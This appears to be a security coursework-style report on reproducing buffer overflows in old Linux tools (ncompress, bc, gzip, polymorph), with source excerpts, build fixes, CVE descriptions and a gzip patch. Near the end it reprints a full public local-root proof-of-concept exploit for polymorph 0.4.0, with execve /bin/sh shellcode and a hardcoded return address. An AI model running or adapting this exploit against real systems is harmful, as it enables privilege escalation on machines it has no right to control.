

Exploiting Apps under Linux

Looking for Vulnerabilities, Developing Exploits

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Contents

Preparing Virtual Machine to exploit applications:	3
Brief introduction.....	3
Operating System.....	3
Gcc version.....	3
Choosing one application to develop exploit that triggered Shell	3
CVE-2001-1413.....	4
Description	4
Impact	4
Steps to prepare ncompress to be able to be exploitable.....	4
Download ncompress 4.2.4 source code.....	4
Compiling ncompress 4.2.4 on Debian Linux.....	4
Understanding source code	6
Developing a workable exploit.....	6
Vulnerable applications.	7
bc 1.06:.....	7
Description	7
Vulnerabilities	7
gzip 1.2.4.	8
Description	8
Vulnerabilities	8
CVE-2001-1228.....	8
CVE-2001-1228 urls:.....	8
Solution	8
polymorph 0.4.0.....	9
Description:.....	9
Vulnerabilities	9
URLs.....	9
Exploit proof of concept.....	10
Cyclone:.....	12

Preparing Virtual Machine to exploit applications:

Brief introduction

We began with selection of many very well known applications that could be exploited. For instance, we chose: Apache, MySQL, Gzip, Squid, ProFTPD, Nginx, Samba, and many others.

We looked for vulnerabilities of different applications using CVE (<http://www.cvedetails.com/>).

Then we tried to set up the environment to trigger the bug. The hard part is that not all the applications triggered the bug exactly as described in CVE or other bug reports. For instance, we ran some exploits on Debian and FreeBSD, but those only worked on RedHat, so we also installed RedHat 9.0 and tried to compile the application. After some time, we struggled to add modules and libraries to create an exploit and see if we could trigger the bug in that particular application. In some applications like MySQL, Apache, Squid, simulating environment was harder because they have many libraries and modules, some of them were difficult to configure, and eventually bugs weren't triggered as expected.

We started exploiting Apache versions 1.3.22, 1.3.26, 1.3.27, 1.3.31, 2.0.47, 2.4.7 in four different Operating Systems (FreeBSD 4.8, Ubuntu, Debian 5.0 and RedHat 9.0 using VMWare virtual machines).

We have installed MySQL(3.23.56, 4.1.1), Apache(All mentioned above), proftpd-1.3.0a, gzip-1.2.4, squid-2.3.STABLE5, from scratch (using **configure, make, make install**).

We realized that it would be better if we started with some smaller Linux applications. We started looking for smaller applications like gzip, bc, man, ncompress, cvs, and polymorph. With many of these we were able to simulate the exact bug as described.

Operating System

We were able to compile most of those applications under Debian GNU/Linux 5.0.

Gcc version

gcc version 4.3.2

Choosing one application to develop exploit that triggered Shell

We analyzed the source code of these applications and chose **ncompress** to start with..

We chose ncompress based on **CVE-2001-1413**:

ncompress: is a utility that will do fast compression and decompression compatible with the original Unix compress utility (.Z extension). I will not handle gzipped (.gz) images.

We looked for older versions, and we found version **ncompress-4.2.4** to be a perfect candidate for our tests:

- <http://www.redhat.com/archives/enterprise-watch-list/2004-December/msg00005.html>
- <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1168>
- <http://www.securityfocus.com/advisories/7626>

CVE-2001-1413

Description

Stack-based buffer overflow in the `comprexx` function for `ncompress` 4.2.4 and earlier, when used in situations that cross security boundaries (such as FTP server), may allow remote attackers to execute arbitrary code via a long filename argument.

Impact

By supplying carefully crafted filename or other option, an attacker could execute arbitrary code on the system. A local attacker could only execute code with his own rights, but since `compress` and `uncompress` are called by various daemon programs, this might also allow a remote attacker to execute code with the right of the daemon making use of **ncompress**.

In order to have it running on our system we did the next steps.

Steps to prepare ncompress to be able to be exploitable

Download ncompress 4.2.4 source code

- <http://sourcecodebrowser.com/ncompress/4.2.4.0/files.html>
- http://sourcecodebrowser.com/ncompress/4.2.4.0/compress42_8c_source.html

Compiling ncompress 4.2.4 on Debian Linux

The original Makefile includes some options that were not present in our gcc version: We read some reports of these two flags and it was safe to disable them.

They threw:

```
cc1: error: unrecognized command line option "-freduce-all-givs"
cc1: error: unrecognized command line option "-fmove-all-movables"
make: *** [compress42.o] Error 1
```

We disable or comment in our Makefile: `-freduce-all-givs` `-fmove-all-movables`, because these options became extinct in gcc version 4.x.

Source Code errors and fixes:

Then, we encounter that our `compress42.c` did not compile due to few errors:

```
compress42.c:652: error: conflicting types for 'rindex'
compress42.c: In function 'main':
```

```
compress42.c:705: warning: return type of 'main' is not 'int'
compress42.c: At top level:
compress42.c:1817: error: conflicting types for 'rindex'
compress42.c: In function 'rindex':
compress42.c:1820: error: argument 's' doesn't match prototype
/usr/include/string.h:313: error: prototype declaration
```

We proceed to look "string.h" prototypes declarations, we encounter:

```
312  /* Find the last occurrence of C in S (same as strchr).  */
313  extern char *rindex (__const char *__s, int __c)
314  | | | __THROW __attribute_pure__ __nonnull ((1));
```

Figure 1. string.h prototypes declaration.

After that we compare the code in compress42.c to this prototype:

```
652  char *rindex  ARGS((char *,int));
```

Figure 2. Line errors in compress42.c

```
1816  char *
1817  rindex(s, c)
1818  REG1 char*s;
1819  REG2 int c;
```

Figure 3. Line errors in compress42.c

According to the prototype and the errors thrown, these two definitions should be like this:

```
652  char *rindex  ARGS((const char *,int));
```

Figure 4. rindex definition fixed.

```
1816  char *
1817  rindex(s, c)
1818  REG1 const char *s;
1819  REG2 int c;
```

Figure 5. Some definitions fixed.

Understanding source code

At this point we had a workable version of our tool. Then, We started to understand the code and look for the exact line that triggers the buffer overflow.

```
891 void
892 comprexx(fileptr)
893     char **fileptr;
894 {
895     int     fdin;
896     int     fdout;
897     char tempname[MAXPATHLEN];
898
899     strcpy(tempname,*fileptr);
900     //590 -- memory corruption happens here
901     errno = 0;
```

Figure 6. Line of code that triggers the bug.

Developing a workable exploit

We have inserted code to realize System address and shell address:

Figure 7. Inserting code and compile new code.

Vulnerable applications.

bc 1.06:

Description

bc is an interactive calculator (GNU); it can also process calculation tasks in *.b files.

Vulnerabilities

bc has a Heap buffer overflow. It is located in "storage.c"

```

167     arrays = (bc_var_array **) bc_malloc (a_count*sizeof(bc_var_array *));
168     a_names = (char **) bc_malloc (a_count*sizeof(char *));
169
170     /* Copy the old arrays. */
171     for (indx = 1; indx < old_count; indx++)
172         arrays[indx] = old_ary[indx];
173
174
175     /* Initialize the new elements. */
176     for (; indx < v_count; indx++)
177         arrays[indx] = NULL;

```

Figure 8. a_names can be overflowed.

Heap buffer overflow located in "util.c"

```

576     id->a_name = next_array++;
577     a_names[id->a_name] = name;
578     if (id->a_name < MAX_STORE)

```

Figure 9. In function lookup(), a_names[id->a_name] = name

Static fixed-length array in "bc.c"

```

1422     check_params (yyvsp[-5].a_value,yyvsp[0].a_value);
1423     sprintf (genstr, "%d,%s,%s[",
1424             lookup(yyvsp[-7].s_value,FUNCTDEF),
1425             arg_str (yyvsp[-5].a_value), arg_str (yyvsp[0].a_value));
1426     generate (genstr);
1427     free_args (yyvsp[-5].a_value);
1428     free_args (yyvsp[0].a_value);

```

Figure 10. Vulnerability on sprintf() directive.

genstr is defined as char genstr[80], the sprintf source comes from input file this value could exceed 80 characters length.


gzip 1.2.4.

Description

Gzip is a compression and decompression program.

Vulnerabilities

Array overflow (strcpy):



```
816     local int get_istat(iname, sbuf)
817     char *iname;
818     struct stat *sbuf;
819     {
820         int ilen; /* strlen(iframe) */
821         static char *suffixes[] = {z_suffix, ".gz", ".z", "-z", ".Z", NULL};
822         char **suf = suffixes;
823         char *s;
824         #ifdef NO_MULTIPLE_DOTS
825             char *dot; /* pointer to iframe extension, or NULL */
826         #endif
827
828         strcpy(iframe, iname);
829     }
```

Figure 11. iframe is defined with static length, in 828 overflow can happen.

CVE-2001-1228

Buffer overflows in gzip 1.3x, 1.2.4, and other versions might allow attackers to execute code via a long file name, possibly remotely if gzip is run on an FTP server.

gzip does not properly handle long file names. Upon execution of the program with a file name of 1028 bytes or greater, a buffer overflow occurs. This overflow could overwrite stack variables, including the return address, and be used to execute arbitrary code.

CVE-2001-1228 urls:

- <ftp://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2002-002.txt.asc>
- <http://www.securityfocus.com/bid/3712>
- http://www.cvedetails.com/vulnerability-list/vendor_id-72/product_id-1670/version_id-5368/GNU-Gzip-1.2.4.html

Solution

The following patch has been offered by greg <gregn@decode.org> to fix the vulnerability:

```
--- gzip.c Thu Aug 19 09:39:43 1993
+++ gzip-fix.c Sun Dec 30 13:57:44 2001
@@ -1006,7 +1006,7 @@
char *dot; /* pointer to iframe extension, or NULL */
#endif

- strcpy(iframe, iname);
+ strncpy(iframe, iname, sizeof(iframe) - 1);
```



```
/* If input file exists, return OK. */
if (do_stat(iframe, sbuf) == 0) return OK;
@@ -1683,7 +1683,7 @@
}
len = strlen(dir);
if (len + NLENGTH(dp) + 1 < MAX_PATH_LEN - 1) {
- strcpy(nbuf, dir);
+ strncpy(nbuf, dir, sizeof(nbuf) - 1);
if (len != 0 /* dir = "" means current dir on Amiga */
#ifdef PATH_SEP2
&& dir[len-1] != PATH_SEP2
```

Various vendor-supplied fixes have been made available.

polymorph 0.4.0

Description:

Polymorph is a tool designed to convert filenames that are corrupted/created in a windows environment into a more readable format for Unix platforms.

Vulnerabilities


The issue is reportedly due to a lack of sufficient bounds checking performed on user-supplied data before it is copied into an internal memory space.

Specifically, excessive data (2080 bytes) passed as the '-f' file argument to the vulnerable Polymorph executable, when copied into internal memory, may overrun the boundary of the assigned buffer and corrupt adjacent memory. Memory adjacent to this buffer has been reported to contain values that are crucial to controlling program execution flow. Therefore it is possible for a local attacker to seize control of the vulnerable application and have malicious arbitrary code executed in the context of the user running Polymorph.

It should be noted that although this vulnerability has been reported to affect Polymorph version 0.4.0 previous versions might also be affected.

URLs

- <http://www.exploit-db.com/exploits/22633/>
- <http://archive.cert.uni-stuttgart.de/bugtraq/2003/05/msg00242.html>
- <ftp://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2002-002.txt.asc>



```
116 case 'c':
117     clean = 1;
118     break;
119 case 'f':
120     strcpy(target, optarg);
121     break;
122 case 'h':
```

Figure 12. Array overflow.

May overflow the static array target, when program input argument (file name string) is too long.

```

191  if( does_nameHaveUppers( original ) ){
192      /* convert the filename */
193      for(i=0;i<strlen(original);i++){
194          if( isupper( original[i] ) ){
195              newname[i] = tolower( original[i] );
196              continue;
197          }
198          newname[i] = original[i];
199      }
200      newname[i] = '\0';
201  }else{
202      strcpy( newname, original );
203      error = -1;
204  }

```

Figure 13. Long input filename would overflow array.

Exploit proof of concept

```

/* c-polymorph.c
 *
 * PoC exploit made for advisory based upon an local stack based overflow.
 * Vulnerable versions, maybe also prior versions:
 *
 * Polymorph v0.4.0
 *
 * Tested on: Redhat 8.0
 *
 * Advisory source: c-code.net (security research team)
 * http://www.c-code.net/Releases/Advisories/c-code-adv001.txt
 *
 * -----
 * coded by: demz (c-code.net) (demz@c-code.net)
 * -----
 */

#include <stdio.h>

char shellcode[] =

    "\x31\xc0"        // xor     eax, eax
    "\x31\xdb"        // xor     ebx, ebx
    "\x31\xc9"        // xor     ecx, ecx
    "\xb0\x46"        // mov     al, 70
    "\xcd\x80"        // int     0x80

    "\x31\xc0"        // xor     eax, eax
    "\x50"            // push    eax
    "\x68\x6e\x2f\x73\x68" // push    long 0x68732f6e
    "\x68\x2f\x2f\x62\x69" // push    long 0x69622f2f
    "\x89\xe3"        // mov     ebx, esp
    "\x50"            // push    eax
    "\x53"            // push    ebx
    "\x89\xe1"        // mov     ecx, esp
    "\x99"            // cdq
    "\xb0\x0b"        // mov     al, 11
    "\xcd\x80"        // int     0x80

```

```
    "\x31\xc0"        // xor      eax, eax
    "\xb0\x01"        // mov      al, 1
    "\xcd\x80";        // int      0x80

int main()
{
    unsigned long ret = 0xbffff3f0;

    char buffer[2076];
    int i=0;

    memset(buffer, 0x90, sizeof(buffer));

    for (0; i < strlen(shellcode) - 1;i++)
        buffer[1000 + i] = shellcode[i];

    buffer[2076] = (ret & 0x000000ff);
    buffer[2077] = (ret & 0x0000ff00) >> 8;
    buffer[2078] = (ret & 0x00ff0000) >> 16;
    buffer[2079] = (ret & 0xff000000) >> 24;
    buffer[2080] = 0x0;

    printf("\nPolymorph v0.4.0 local exploit\n");
    printf("----- demz @ c-code.net --\n");

    execl("./polymorph", "polymorph", "-f", buffer, NULL);
}
```

Cyclone:

We have tested over ncompress , cyclone detected and corrected vulnerabilities:

```
647 void compress (int, int);  
648 void decompress (int, int);  
649 mstring_t < `r > rindex (mstring_t < `r >, int);  
650 void read_error (void);  
651 void write_error (void);
```

Figure 14. Cyclone changing source code.